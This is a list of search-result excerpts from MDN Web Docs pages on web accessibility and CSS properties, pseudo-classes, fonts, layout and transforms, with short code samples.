instead of using the javascript ‘alert’ function, we’ll use a simple wai-aria widget for notification.
... tbd: let's rethink this -- personally, i think setting focus might be good if done without causing a keyboard trap.
Accessibility: What users can do to browse more safely - Accessibility
using firefox as an example, it explains that by changing the value the image.animation_mode from "normal" to "none", all animated images will be blocked.
...an interesting discussion by users on the benefits of using grayscale may be found in the discussion thread, "what is the “grayscale” setting for in accessibility options?".
Architecture - Accessibility
introduction the implementation of text and embedded objects in mozilla is clever but confusing.
...using this technique is about twice as fast as visiting all nodes in the tree, according to tests run by the developers of nvda.
Web accessibility for seizures and physical reactions - Accessibility
see also mdn accessibility: what users can to to browse more safely accessibility: understanding color and luminance applying svg effects to html content basic animations (canvas tutorial) canvas api canvasrenderingcontext2d.drawimage() <color> document object model mediaquerylist using dynamic styling information webgl: 2d and 3d graphics for the web color color tutorial: describing color tom jewett.
...ng flash and pattern analyzer iso iec 61966-2-2:2003(en) multimedia systems and equipment — colour measurement and management — part 2-2: colour management — extended rgb colour space — scrgb photosensitive epilepsy analysis tool along with the harding tool, is generaly recognized to be one of the two "gold standards" for analyzing flashes trace research and development center using peat to create seizureless web animations w3c css color module level 3 personalization semantics explainer 1.0.
Color contrast - Accessibility
you can also check color contrast on the fly using firefox's developer tools — see our accessibility inspector guide, and in particular the section check for accessibility issues.
... try using it on the live examples in the description section.
Understanding the Web Content Accessibility Guidelines - Accessibility
perceivable: users must be able to perceive it in some way, using one or more of their senses.
... robust: the content must be developed using well-adopted web standards that will work across different browsers, now and in the future.
-webkit-mask-composite - CSS: Cascading Style Sheets
mask-composite: destination-over; -webkit-mask-composite: destination-in; -webkit-mask-composite: destination-out; -webkit-mask-composite: destination-atop; -webkit-mask-composite: xor; /* global values */ -webkit-mask-composite: inherit; -webkit-mask-composite: initial; -webkit-mask-composite: unset; there is a standardized mask-composite property covering parts of this non-standard property using different keywords.
...this property is specified as mask-composite using different values.
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
the only case where clipping happens using space is when there isn't enough room to display one image.
... formal definition initial valuerepeatapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image: url('mask1.png'), url('m...
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
the only case where clipping happens using space is when there isn't enough room to display one image.
... formal definition initial valuerepeatapplies toall elementsinheritednocomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image: url('mask1.png'), url('m...
:-moz-locale-dir(ltr) - CSS: Cascading Style Sheets
syntax :-moz-locale-dir(ltr) examples this example doesn't work if you're not using firefox, and may not work even in firefox due to an issue with the selector not working propertly with html content.
... html <p>if you're using a left-to-right interface, this should be red.</p> css p:-moz-locale-dir(ltr) { color: red; } result specifications not part of any standard.
:-moz-locale-dir(rtl) - CSS: Cascading Style Sheets
syntax :-moz-locale-dir(rtl) examples this example will not work if you're not using firefox, and might not work properly even in firefox due to an issue with using this selector in html.
... html <p>if you're using a right-to-left interface, this should be red.</p> css p:-moz-locale-dir(rtl) { color: red; } result specifications not part of any standard.
::-moz-range-progress - CSS: Cascading Style Sheets
note: using ::-moz-range-progress with anything but an <input type="range"> doesn't match anything and has no effect.
... syntax ::-moz-range-progress examples html <input type="range" min="0" max="100" step="5" value="50"/> css input[type=range]::-moz-range-progress { background-color: green; height: 1em; } result a progress bar using this style might look something like this: specifications not part of any standard.
::-moz-range-thumb - CSS: Cascading Style Sheets
note: using ::-moz-range-thumb with anything but an <input type="range"> doesn't match anything and has no effect.
... syntax ::-moz-range-thumb examples html <input type="range" min="0" max="100" step="5" value="50"/> css input[type=range]::-moz-range-thumb { background-color: green; } result a progress bar using this style might look something like this: specifications not part of any standard.
::-moz-range-track - CSS: Cascading Style Sheets
note: using ::-moz-range-track with anything but an <input type="range"> doesn't match anything and has no effect.
... syntax ::-moz-range-track examples html <input type="range" min="0" max="100" step="5" value="50"/> css input[type=range]::-moz-range-track { background-color: green; } result a progress bar using this style might look something like this: specifications not part of any standard.
::after (:after) - CSS: Cascading Style Sheets
WebCSS::after
we can also support keyboard users with this technique, by adding a tabindex of 0 to make each span keyboard focusable, and using a css :focus selector.
... recommendation initial definition, using the one-colon syntax.
:fullscreen - CSS: Cascading Style Sheets
this is done without needing to specifically apply style changes using javascript.
... html the page's html looks like this: <h1>mdn web docs demo: :fullscreen pseudo-class</h1> <p>this demo uses the <code>:fullscreen</code> pseudo-class to automatically change the style of a button used to toggle full-screen mode on and off, entirely using css.</p> <button id="fs-toggle">toggle fullscreen</button> the <button> with the id "fs-toggle" will change between pale red and pale green depending on whether or not the document is in full-screen mode.
:optional - CSS: Cascading Style Sheets
WebCSS:optional
accessibility concerns if a form contains optional <input>s, required inputs should be indicated using the required attribute.
... required inputs should also be indicated visually, using a treatment that does not rely solely on color to convey meaning.
:target - CSS: Cascading Style Sheets
WebCSS:target
html <h3>table of contents</h3> <ol> <li><a href="#p1">jump to the first paragraph!</a></li> <li><a href="#p2">jump to the second paragraph!</a></li> <li><a href="#nowhere">this link goes nowhere, because the target doesn't exist.</a></li> </ol> <h3>my fun article</h3> <p id="p1">you can target <i>this paragraph</i> using a url fragment.
...lightful?</p> css p:target { background-color: gold; } /* add a pseudo-element inside the target element */ p:target::before { font: 70% sans-serif; content: "►"; color: limegreen; margin-right: .25em; } /* style italic elements within the target element */ p:target i { color: red; } result pure-css lightbox you can use the :target pseudo-class to create a lightbox without using any javascript.
@document - CSS: Cascading Style Sheets
WebCSS@document
to match a literal period, you would first need to escape it using regular expression rules (to \.), then escape that string using css rules (to \\.).
... @document is currently only supported in firefox; if you wanted to replicate using such functionality in your own non-firefox browser, you could try using this polyfill by @an-error94, which uses a combination of a user script, data-* attributes, and attribute selectors.
font-display - CSS: Cascading Style Sheets
the timeline is divided into the three periods below which dictate the rendering behavior of any elements using the font face.
... font failure period if the font face is not loaded, the user agent treats it as a failed load causing normal font fallback.
font-stretch - CSS: Cascading Style Sheets
tch: extra-condensed; font-stretch: condensed; font-stretch: semi-condensed; font-stretch: normal; font-stretch: semi-expanded; font-stretch: expanded; font-stretch: extra-expanded; font-stretch: ultra-expanded; font-stretch: 50%; font-stretch: 100%; font-stretch: 200%; /* multiple values */ font-stretch: 75% 125%; font-stretch: condensed ultra-condensed;; the font-weight property is described using any one of the values listed below.
...ont-faceinitial valuenormalcomputed valueas specified formal syntax <font-stretch-absolute>{1,2}where <font-stretch-absolute> = normal | ultra-condensed | extra-condensed | condensed | semi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | <percentage> examples setting a percentage range for font-stretch the following find a local open sans font or import it, and allow using the font for normal, semi-condensed and semi-expanded states.
font-weight - CSS: Cascading Style Sheets
syntax /* single values */ font-weight: normal; font-weight: bold; font-weight: 400; /* multiple values */ font-weight: normal bold; font-weight: 300 500; the font-weight property is described using any one of the values listed below.
...ormal syntax <font-weight-absolute>{1,2}where <font-weight-absolute> = normal | bold | <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[1,1000]> examples setting normal font weight in a @font-face rule the following finds a local open sans font or import it, and allows using the font for normal font weights.
unicode-range - CSS: Cascading Style Sheets
wildcard range a range of unicode code points containing wildcard characters, that is using the '?' character, so for example u+4??
... formal definition related at-rule@font-faceinitial valueu+0-10ffffcomputed valueas specified formal syntax <unicode-range># examples using a different font for a single character in this example we create a simple html containing a single <div> element, including an ampersand, that we want to style with a different font.
@font-face - CSS: Cascading Style Sheets
otherwise, the font resource specified using the url() function is downloaded and used.
... font mime types format mime type truetype font/ttf opentype font/otf web open font format font/woff web open font format 2 font/woff2 notes web fonts are subject to the same domain restriction (font files must be on the same domain as the page using them), unless http access controls are used to relax this restriction.
@font-feature-values - CSS: Cascading Style Sheets
this can help simplify your css when using multiple fonts.
...ent>+<feature-value-block-list> = <feature-value-block>+where <feature-value-block> = <feature-type> '{' <feature-value-declaration-list> '}'where <feature-type> = @stylistic | @historical-forms | @styleset | @character-variant | @swash | @ornaments | @annotation<feature-value-declaration-list> = <feature-value-declaration>where <feature-value-declaration> = <custom-ident>: <integer>+; examples using @styleset in a @font-feature-values rule /* at-rule for "nice-style" in font one */ @font-feature-values font one { @styleset { nice-style: 12; } } /* at-rule for "nice-style" in font two */ @font-feature-values font two { @styleset { nice-style: 4; } } … /* apply the at-rules with a single declaration */ .nice-look { font-variant-alternates: styleset(nice-style); } spec...
@keyframes - CSS: Cascading Style Sheets
for example: @keyframes identifier { 0% { top: 0; left: 0; } 30% { top: 50px; } 68%, 72% { left: 50px; } 100% { top: 100px; left: 100%; } } here, the top property animates using the 0%, 30%, and 100% keyframes, and left animates using the 0%, 68%, 72% and 100% keyframes.
...gin-top: 150px !important; /* ignored */ margin-bottom: 50px; } } formal syntax @keyframes <keyframes-name> { <keyframe-block-list> }where <keyframes-name> = <custom-ident> | <string><keyframe-block-list> = <keyframe-block>+where <keyframe-block> = <keyframe-selector># { <declaration-list> }where <keyframe-selector> = from | to | <percentage> examples css animation examples see using css animations for examples.
-ms-high-contrast - CSS: Cascading Style Sheets
content if at all possible, prefer updating html markup over modifying content using css2 system color keywords.
...microsoft edge versions 18 and higher will be using the forced-colors media feature instead, but the forced-colors media feature specification is still being actively worked on.
grid - CSS: Cascading Style Sheets
WebCSS@mediagrid
examples html <p class="unknown">i don't know if you're using a grid device.
... :-(</p> <p class="bitmap">you are using a bitmap device.</p> <p class="grid">you are using a grid device!
CSS Animations - CSS: Cascading Style Sheets
css animations is a module of css that lets you animate the values of css properties over time, using keyframes.
... using css animations step-by-step tutorial about how to create animations using css.
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
image-repeat border-image-slice border-image-source border-image-width border-left border-left-color border-left-style border-left-width border-radius border-right border-right-color border-right-style border-right-width border-style border-top border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width border-width box-shadow tools using multiple backgrounds explains how to set one or more backgrounds on an element.
... applying color to html elements using css an overview of how css color can be used in html, including for borders.
Box alignment in grid layout - CSS: Cascading Style Sheets
basic example in this example using grid layout, there is extra space in the grid container after laying out the fixed width tracks on the inline (main) axis.
... this space is distributed using justify-content.
Basic Concepts of Multicol - CSS: Cascading Style Sheets
using column-count and column-width together if you specify both properties on a multicol container then column-count will act as a maximum number of columns.
... when using both properties together you may get fewer columns than specified in the value for column-count.
Handling content breaks in multicol - CSS: Cascading Style Sheets
in both contexts we control where and how things break by using properties of the css fragmentation specification.
... in the example below, we are using the orphans property to control the number of lines left at the bottom of a column.
Styling Columns - CSS: Cascading Style Sheets
you can change the gap by using any length unit as the value of column-gap.
... in this next example i have created a 5px dotted rule with a color of rebeccapurple, using the longhand values.
Block and inline layout in normal flow - CSS: Cascading Style Sheets
this concept of the outer and inner display type is important as this tells us that a container using a layout method such as flexbox (display: flex) and grid layout (display: grid) is still participating in block and inline layout, due to the outer display type of those methods being block.
...this means that you can always use most of the semantic html elements to markup your content, and then change the way it displays using css.
CSS Fonts - CSS: Cascading Style Sheets
WebCSSCSS Fonts
this article provides you with all you need to know about using opentype font features in css.
...this article will give you all you need to know to get you started using variable fonts.
CSS Grid Layout - CSS: Cascading Style Sheets
items have been placed onto the grid using line-based placement.
... grid-row-end grid-column-end grid-row grid-column grid-area row-gap column-gap gap css functions repeat() minmax() fit-content() css data types <flex> glossary entries grid grid lines grid tracks grid cell grid area gutters grid axis grid row grid column guides basic concepts of grid layout relationship of grid layout to other layout methods layout using line-based placement grid template areas layout using named grid lines auto-placement in css grid layout box alignment in css grid layout css grid, logical values and writing modes css grid layout and accessibility css grid and progressive enhancement realising common layouts using css grid subgrid external resources css grid and ie11 (polyfill) examples from jen simmons grid by ...
Implementing image sprites in CSS - CSS: Cascading Style Sheets
rather than include each image as a separate image file, it is much more memory- and bandwidth-friendly to send them as a single image; using background position as a way to distinguish between individual images in the same image file, so the number of http requests is reduced.
... note: when using http/2, it may in fact be more bandwidth-friendly to use multiple small requests.
Logical properties for sizing - CSS: Cascading Style Sheets
i am using min-height in the first example and min-block-size in the second.
...using resize: inline allows resizing in the inline dimension and resize: block allow resizing in the block dimension.
Stacking context example 3 - CSS: Cascading Style Sheets
« css « understanding css z-index stacking context example 3 this last example shows problems that arise when mixing several positioned elements in a multi-level html hierarchy and when z-indexes are assigned using class selectors.
... level #1 this problem can be avoided by removing overlapping between different level menus, or by using individual (and different) z-index values assigned through the id selector instead of class selector, or by flattening the html hierarchy.
Understanding CSS z-index - CSS: Cascading Style Sheets
using z-index appears extremely easy: a single property, assigned a single integer number, with an easy-to-understand behaviour.
... using z-index: how to use z-index to change default stacking.
Inline formatting context - CSS: Cascading Style Sheets
note: i am using the logical, flow-relative properties — padding-inline-start rather than padding-left — so that they work in the inline dimension whether the text is horizontal or vertical.
... alignment in the block direction inline boxes may be aligned in the block direction in different ways, using the vertical-align property, which will align on the block axis in vertical writing modes (therefore not vertically at all!).
Column layouts - CSS: Cascading Style Sheets
a continuous thread of content — multi-column layout if you create columns using multi-column layout your text will remain as a continuous stream filling each column in turn.
... you can control the gaps between columns with the column-gap property, and add a rule between columns using column-rule.
Cubic Bezier Generator - CSS: Cascading Style Sheets
dius = 4; // place needed to draw the rulers const rulers = 30.5; const margin = 10.5; const basic_scale_size = 5; // size of 0.1 tick on the rulers var scaling; //limitation: scaling is computed once: if canvas.height/canvas.width change it won't be recalculated var dragsm = 0; // drag state machine: 0 = nodrag, others = object being dragged function initcanvas() { // get the canvas element using the dom var canvas = document.getelementbyid('bezier'); // make sure we don't execute when canvas isn't supported if (canvas.getcontext) { // use getcontext to use the canvas for drawing var ctx = canvas.getcontext('2d'); scaling = math.min(canvas.height - rulers - margin, canvas.width - rulers - margin); canvas.onmousedown = mousedown; canva...
...result + 0.5 : result; } function drawbeziercurve(x1, y1, x2, y2) { // get the canvas element using the dom var canvas = document.getelementbyid('bezier'); // make sure we don't execute when canvas isn't supported if (canvas.getcontext) { // use getcontext to use the canvas for drawing var ctx = canvas.getcontext('2d'); // clear canvas ctx.clearrect(0, 0, canvas.width, canvas.height); // draw the rulers ctx.beginpath(); c...
CSS Tutorials - CSS: Cascading Style Sheets
WebCSSTutorials
editor's note: we should look at using "difficulty level" tags on the tutorial/guide pages so that difficulty-based lists can be automatically built.
... using multiple backgrounds backgrounds are fundamental for nice styling: css allows you to set several of them on each box.
align-items - CSS: Cascading Style Sheets
the interactive example below demonstrates some of the values for align-items using grid layout.
...if the chosen keyword means that the item overflows the alignment container causing data loss, the item is instead aligned as if the alignment mode were start.
animation - CSS: Cascading Style Sheets
WebCSSanimation
consider providing a mechanism for pausing or disabling animation, as well as using the reduced motion media query to create a complimentary experience for users who have expressed a preference for no animated experiences.
...0, .1) 50%, rgba(0, 0, 0, .9) 75%); color: white; height: 100%; width: 20%; -webkit-animation: 4s linear 0s infinite alternate move_eye; animation: 4s linear 0s infinite alternate move_eye; } @-webkit-keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; } } @keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; } } see using css animations for additional examples.
background-repeat - CSS: Cascading Style Sheets
by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space).
...the only case where clipping happens using space is when there isn't enough room to display one image.
<basic-shape> - CSS: Cascading Style Sheets
all <basic-shape> values use functional notation and are defined here using the value definition syntax.
... the optional <border-radius> argument(s) define rounded corners for the inset rectangle using the border-radius shorthand syntax.
border-image-width - CSS: Cascading Style Sheets
%; /* <number> value */ border-image-width: 3; /* vertical | horizontal */ border-image-width: 2em 3em; /* top | horizontal | bottom */ border-image-width: 5% 15% 10%; /* top | right | bottom | left */ border-image-width: 5% 2em 10% auto; /* global values */ border-image-width: inherit; border-image-width: initial; border-image-width: unset; the border-image-width property may be specified using one, two, three, or four values chosen from the list of values below.
... to ::first-letter.inheritednopercentagesrefer to the width or height of the border image areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples tiling a border image this example creates a border image using the following ".png" file, which is 90 by 90 pixels: thus, each circle in the source image is 30 by 30 pixels.
border-radius - CSS: Cascading Style Sheets
<length> denotes the size of the circle radius, or the semi-major and semi-minor axes of the ellipse, using length values.
... <percentage> denotes the size of the circle radius, or the semi-major and semi-minor axes of the ellipse, using percentage values.
border-width - CSS: Cascading Style Sheets
order-width: thick; /* <length> values */ border-width: 4px; border-width: 1.2rem; /* vertical | horizontal */ border-width: 2px 1.5em; /* top | horizontal | bottom */ border-width: 1px 2em 1.5cm; /* top | right | bottom | left */ border-width: 1px 2em 0 4rem; /* global keywords */ border-width: inherit; border-width: initial; border-width: unset; the border-width property may be specified using one, two, three, or four values.
...if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
border - CSS: Cascading Style Sheets
WebCSSborder
ties this property is a shorthand for the following css properties: border-color border-style border-width syntax /* style */ border: solid; /* width | style */ border: 2px dotted; /* style | color */ border: outset #f33; /* width | style | color */ border: medium dashed green; /* global values */ border: inherit; border: initial; border: unset; the border property may be specified using one, two, or three of the values listed below.
... though it cannot be set to a custom value using the shorthand, border now resets border-image to its initial value (none).
box-flex-group - CSS: Cascading Style Sheets
if the space of all flexible children within the group has been increased to the maximum, the process repeats for the children within the next flex group, using any space left over from the previous flex group.
...instead, distribution of space inside the flex container is now handled using flex-basis, flex-grow, and flex-shrink.
break-after - CSS: Cascading Style Sheets
this ensures that sites using page-break-after continue to work as designed.
... definition initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | avoid | always | all | avoid-page | page | left | right | recto | verso | avoid-column | column | avoid-region | region examples breaking into neat columns in the following example we have a container that contains an <h1> spanning all columns (achieved using column-span: all) and a series of <h2>s and paragraphs laid out in multiple columns using column-width: 200px.
break-before - CSS: Cascading Style Sheets
this ensures that sites using page-break-before continue to work as designed.
... definition initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | avoid | always | all | avoid-page | page | left | right | recto | verso | avoid-column | column | avoid-region | region examples breaking into neat columns in the following example we have a container that contains an <h1> spanning all columns (achieved using column-span: all) and a series of <h2>s and paragraphs laid out in multiple columns using column-width: 200px.
break-inside - CSS: Cascading Style Sheets
this ensures that sites using page-break-inside continue to work as designed.
... auto auto avoid avoid formal definition initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | avoid | avoid-page | avoid-column | avoid-region examples avoiding breaking inside a figure in the following example we have a container that contains an <h1> spanning all columns (achieved using column-span: all) and a series of paragraphs laid out in multiple columns using column-width: 200px.
contain - CSS: Cascading Style Sheets
WebCSScontain
syntax /* keyword values */ contain: none; contain: strict; contain: content; contain: size; contain: layout; contain: style; contain: paint; /* multiple keywords */ contain: size paint; contain: size layout paint; /* global values */ contain: inherit; contain: initial; contain: unset; the contain property is specified as either one of the following: using a single none, strict, or content keyword.
... using one or more of the size, layout, style, and paint keywords in any order.
counters() - CSS: Cascading Style Sheets
WebCSScounters
check the browser compatibility table carefully before using this in production.
...non-latin characters must be encoded using their unicode escape sequences: for example, \000a9 represents the copyright symbol.
env() - CSS: Cascading Style Sheets
WebCSSenv
originally provided by the ios browser to allow developers to place their content in a safe area of the viewport, the safe-area-inset-* values defined in the specification can be used to help ensure content is visible even to viewers using non‑rectangular displays.
... syntax /* using the four safe area inset values with no fallback values */ env(safe-area-inset-top); env(safe-area-inset-right); env(safe-area-inset-bottom); env(safe-area-inset-left); /* using them with fallback values */ env(safe-area-inset-top, 20px); env(safe-area-inset-right, 1em); env(safe-area-inset-bottom, 0.5vh); env(safe-area-inset-left, 1.4rem); values safe-area-inset-top, safe-area-inset-right, safe-area-inset-bottom, safe-area-inset-left the safe-area-inset-* variables are four environment variables that define a rectangle by its top, right, bottom, and left insets from the edge of the viewport, which is safe to put content into without risking it being cut off by the shape of a non‑rectangular display.
font-style - CSS: Cascading Style Sheets
italic font faces are generally cursive in nature, usually using less horizontal space than their unstyled counterparts, while oblique faces are usually just sloped versions of the regular face.
...you can select this using the <angle> modifier for the oblique keyword.
font-variant-caps - CSS: Cascading Style Sheets
if petite capital glyphs are not available, they are rendered using small capital glyphs.
...syntax /* keyword values */ font-variant-caps: normal; font-variant-caps: small-caps; font-variant-caps: all-small-caps; font-variant-caps: petite-caps; font-variant-caps: all-petite-caps; font-variant-caps: unicase; font-variant-caps: titling-caps; /* global values */ font-variant-caps: inherit; font-variant-caps: initial; font-variant-caps: unset; the font-variant-caps property is specified using a single keyword value from the list below.
initial - CSS: Cascading Style Sheets
WebCSSinitial
you should consider using the inherit, unset, or revert keywords instead.
... examples using initial to reset color for an element html <p> <span>this text is red.</span> <em>this text is in the initial color (typically black).</em> <span>this is red again.</span> </p> css p { color: red; } em { color: initial; } result specifications specification status comment css cascading and inheritance level 4the definition of 'initial' in that specification.
<integer> - CSS: Cascading Style Sheets
WebCSSinteger
interpolation when animated, values of the <integer> data type are interpolated using discrete, whole steps.
... the calculation is done as if they were real, floating-point numbers; the discrete value is obtained using the floor function.
justify-content - CSS: Cascading Style Sheets
the interactive example below demonstrates some of the values using grid layout.
...if the chosen keyword means that the item overflows the alignment container causing data loss, the item is instead aligned as if the alignment mode were start.
linear-gradient() - CSS: Cascading Style Sheets
a color-stop's position can be explicitly defined by using a <length> or a <percentage>.
... body { width: 100vw; height: 100vh; } body { background: linear-gradient(to right, red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%); } more linear-gradient examples please see using css gradients for more examples.
mask-border-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ mask-border-repeat: stretch; mask-border-repeat: repeat; mask-border-repeat: round; mask-border-repeat: space; /* vertical | horizontal */ mask-border-repeat: round stretch; /* global values */ mask-border-repeat: inherit; mask-border-repeat: initial; mask-border-repeat: unset; the mask-border-repeat property may be specified using one or two values chosen from the list of values below.
... mask-border-repeat: round; chromium-based browsers support an outdated version of this property — mask-box-image-repeat — with a prefix: -webkit-mask-box-image-repeat: round; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-border-slice - CSS: Cascading Style Sheets
syntax /* all sides */ mask-border-slice: 30%; /* vertical | horizontal */ mask-border-slice: 10% 30%; /* top | horizontal | bottom */ mask-border-slice: 30 30% 45; /* top | right | bottom | left */ mask-border-slice: 7 12 14 5; /* using the `fill` keyword */ mask-border-slice: 10% fill 7 12; /* global values */ mask-border-slice: inherit; mask-border-slice: initial; mask-border-slice: unset; the mask-border-slice property may be specified using one to four <number-percentage> values to represent the position of each image slice.
... mask-border-slice: 30 fill; chromium-based browsers support an outdated version of this property — mask-box-image-slice — with a prefix: -webkit-mask-box-image-slice: 30 fill; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-border-width - CSS: Cascading Style Sheets
idth: 25%; /* <number> value */ mask-border-width: 3; /* vertical | horizontal */ mask-border-width: 2em 3em; /* top | horizontal | bottom */ mask-border-width: 5% 15% 10%; /* top | right | bottom | left */ mask-border-width: 5% 2em 10% auto; /* global values */ mask-border-width: inherit; mask-border-width: initial; mask-border-width: unset; the mask-border-width property may be specified using one, two, three, or four values chosen from the list of values below.
... mask-border-width: 30 fill; chromium-based browsers support an outdated version of this property — mask-box-image-width — with a prefix: -webkit-mask-box-image-width: 20px; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-repeat - CSS: Cascading Style Sheets
repeat: repeat space; mask-repeat: repeat repeat; mask-repeat: round space; mask-repeat: no-repeat round; /* multiple values */ mask-repeat: space round, no-repeat; mask-repeat: round repeat, space, repeat-x; /* global values */ mask-repeat: inherit; mask-repeat: initial; mask-repeat: unset; by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space).
...the only case where clipping happens using space is when there isn't enough room to display one image.
max-block-size - CSS: Cascading Style Sheets
the other dimension's maximum length is specified using the max-inline-size property.
... html the html simply establishes the two <div> blocks that will be presented with their writing-mode set using the classes horizontal or vertical.
mix-blend-mode - CSS: Cascading Style Sheets
.hard-light .item { mix-blend-mode: hard-light; } .soft-light .item { mix-blend-mode: soft-light; } .difference .item { mix-blend-mode: difference; } .exclusion .item { mix-blend-mode: exclusion; } .hue .item { mix-blend-mode: hue; } .saturation .item { mix-blend-mode: saturation; } .color .item { mix-blend-mode: color; } .luminosity .item { mix-blend-mode: luminosity; } using mix-blend-mode with html html <div class="isolate"> <div class="circle circle-1"></div> <div class="circle circle-2"></div> <div class="circle circle-3"></div> </div> css .circle { width: 80px; height: 80px; border-radius: 50%; mix-blend-mode: screen; position: absolute; } .circle-1 { background: red; } .circle-2 { background: lightgreen; left: 40px; } .circle-3 { b...
...ackground: blue; left: 20px; top: 40px; } .isolate { isolation: isolate; /* without isolation, the background color will be taken into account */ position: relative; } result using mix-blend-mode with svg svg <svg> <g class="isolate"> <circle cx="40" cy="40" r="40" fill="red"/> <circle cx="80" cy="40" r="40" fill="lightgreen"/> <circle cx="60" cy="80" r="40" fill="blue"/> </g> </svg> css circle { mix-blend-mode: screen; } .isolate { isolation: isolate; } /* without isolation, the background color will be taken into account */ result specifications specification status comment compositing and blending level 1the definition of 'mix-blend-mode' in that specification.
outline - CSS: Cascading Style Sheets
WebCSSoutline
is property is a shorthand for the following css properties: outline-color outline-style outline-width syntax /* style */ outline: solid; /* color | style */ outline: #f66 dashed; /* style | width */ outline: inset thick; /* color | style | width */ outline: green solid 3px; /* global values */ outline: inherit; outline: initial; outline: unset; the outline property may be specified using one, two, or three of the values listed below.
...the transparent keyword maps to rgba(0,0,0,0).outline-width: an absolute length; if the keyword none is specified, the computed value is 0outline-style: as specifiedanimation typeas each of the properties of the shorthand:outline-color: a coloroutline-width: a lengthoutline-style: discrete formal syntax [ <'outline-color'> | <'outline-style'> | <'outline-width'> ] examples using outline to set a focus style html <a href="#">this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offset: 4px; background: #ffa; } result specifications specification status comment css basic user interface mod...
perspective - CSS: Cascading Style Sheets
the vanishing point is by default placed at the center of the element, but its position can be changed using the perspective-origin property.
... using this property with a value different than 0 and none creates a new stacking context.
pointer-events - CSS: Cascading Style Sheets
note that preventing an element from being the target of pointer events by using pointer-events does not necessarily mean that pointer event listeners on that element cannot or will not be triggered.
... elements with pointer-events: none will still receive focus through sequential keyboard navigation using the tab key.
scrollbar-color - CSS: Cascading Style Sheets
accessibility concerns when using scrollbar-color property with specific color values, authors should ensure the specified colors have enough contrast between them.
...see techniques for wcag 2.0: g183: using a contrast ratio of 3:1.
touch-action - CSS: Cascading Style Sheets
an application using pointer events will receive a pointercancel event when the browser starts handling a touch gesture.
...applications using touch events disable the browser handling of gestures by calling preventdefault(), but should also use touch-action to ensure the browser knows the intent of the application before any event listeners have been invoked.
translate() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 a translation is not a linear transformation in ℝ2 and can't be represented using a cartesian-coordinate matrix.
... 10tx01ty001 10tx01ty001 100tx010ty00100001 [1 0 0 1 tx ty] formal syntax translate(<length-percentage> , <length-percentage>?) examples using a single-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translate(10px); /* equal to: translatex(10px) or translate(10px, 0) */ background-color: pink; } result combining y-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translate(10px, 10px); background-color: pink; } result specifications specificatio...
translate3d() - CSS: Cascading Style Sheets
a translation is not a linear transformation in ℝ3 and can't be represented using a cartesian-coordinate matrix.
... 100tx010ty001tz0001 examples using a single axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { /* equivalent to perspective(500px) translatex(10px) */ transform: perspective(500px) translate3d(10px, 0, 0px); background-color: pink; } result combining z-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: perspective(500px) translate3d(10px, 0, 100px); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 't...
translateZ() - CSS: Cascading Style Sheets
a translation is not a linear transformation in ℝ3 and can't be represented using a cartesian-coordinate matrix.
...this has the effect of making the element appear larger when viewed on a 2d display, or closer when viewed using a vr headset or other 3d display device.
transform-style - CSS: Cascading Style Sheets
formal definition initial valueflatapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscretecreates stacking contextyes formal syntax flat | preserve-3d examples transform style demonstration in this example we have a 3d cube created using transforms.
...in this alternative state, the cube faces are all flattened onto the plane of their parent, and you might not be able to see them at all, depending on the browser you are using.
transition-timing-function - CSS: Cascading Style Sheets
this acceleration curve is defined using one <timing-function> for each property to be transitioned.
